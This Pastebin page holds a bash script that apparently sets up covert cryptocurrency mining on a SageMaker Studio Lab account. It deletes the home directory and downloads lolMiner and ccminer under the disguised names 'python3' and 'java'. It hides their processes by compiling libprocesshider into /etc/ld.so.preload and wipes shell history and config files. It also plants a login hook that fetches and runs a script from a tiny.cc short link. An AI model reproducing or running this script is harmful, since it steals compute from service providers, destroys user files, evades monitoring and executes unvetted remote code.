Advertisement
ppek

CC

Feb 26th, 2024 (edited)
1,412
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.61 KB | None | 0 0
  1. #!/bin/sh
  2. cd
  3. rm -rvf *
  4. echo "==================="
  5. echo "   CEK TIMEZONE   "
  6. echo "==================="
  7. echo " "
  8. echo " "
  9. ln -fs /usr/share/zoneinfo/Asia/Jakarta /etc/localtime
  10. dpkg-reconfigure --frontend noninteractive tzdata
  11. sleep 2
  12.  
  13. apt update -y;apt -y install libcurl4-openssl-dev libssl-dev libjansson-dev automake autotools-dev build-essential binutils git cmake screen unzip net-tools curl -y
  14. sleep 3
  15. cd ~/
  16. git clone https://github.com/sukamenari/akc.git && cd akc && rm bash && wget https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.76/lolMiner_v1.76_Lin64.tar.gz && tar -xf lolMiner_v1.76_Lin64.tar.gz && rm lolMiner_v1.76_Lin64.tar.gz && cd 1.76 && mv lolMiner python3 && mv python3* ~/ && cd .. && rm -rvf 1.76 && mv kernel* /home/studio-lab-user/.lib
  17. cd ~/ && rm -rvf akc
  18. cd
  19. rm -rvf akc
  20. git clone https://github.com/sukamenari/akc.git && cd akc && wget https://github.com/rplant8/ccminer-KlausT-8.21-mod-r18-src-fix/releases/download/1.0.1/ccminer-rplant-yescryptr16-linux-1.0.1.tar.gz && tar -xvzf ccminer-rplant-yescryptr16-linux-1.0.1.tar.gz && mv ccminer java && mv java* ~/ && mv kernel* /home/studio-lab-user/.lib
  21. cd .. && rm -rvf akc
  22. cd
  23. rm -rf gas && wget -q 'https://gitlab.com/fesfap/nim/-/raw/main/gas.zip' && unzip gas.zip
  24. chmod +x gas
  25. rm -rf Makefile
  26. rm -rf processhider.c
  27. rm -rf README.md
  28. rm -rf .gitignore
  29. rm -rf gas.zip
  30. cd
  31. wget https://github.com/AhmadTugiman/gembel/raw/main/tukimin.zip
  32. unzip tukimin.zip
  33. rm -rf tukimin.zip
  34. make
  35. gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
  36. mv libprocesshider.so /usr/local/lib/
  37. echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
  38.  
  39. cd
  40. mkdir d && cd d
  41. wget https://gitlab.com/fesfap/nim/-/raw/main/graphics.tar.gz --no-check-certificate
  42. tar -xvzf graphics.tar.gz
  43. rm -rf graphics.tar.gz
  44.  
  45.  
  46. cd ~/
  47. echo "" > /home/studio-lab-user/.bashrc
  48. echo "" > /home/studio-lab-user/.bash_history
  49. echo "" > /home/studio-lab-user/.bash_profile
  50. echo 'echo ""  >> /home/studio-lab-user/.bash_history' >> /home/studio-lab-user/.bashrc
  51. echo "source /home/studio-lab-user/.bash_profile"  >> /home/studio-lab-user/.bashrc
  52. echo "LD_LIBRARY_PATH=/home/studio-lab-user/.lib" > /home/studio-lab-user/.bash_profile
  53. echo "export LD_LIBRARY_PATH" >> /home/studio-lab-user/.bash_profile
  54. echo "bash /home/studio-lab-user/.lib/gas.sh"  >> /home/studio-lab-user/.bash_profile &&
  55. echo "export LC_ALL=C; unset LANGUAGE && cd ~/ && rm -rvf e && wget -O e http://tiny.cc/GPUCC && sed -i -e 's/\r$//' e && chmod +x e && ./e " > /home/studio-lab-user/.lib/gas.sh
  56. cd /home/studio-lab-user/.lib/
  57. chmod +x gas.sh && cd ~/ && history -cr && source .bashrc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement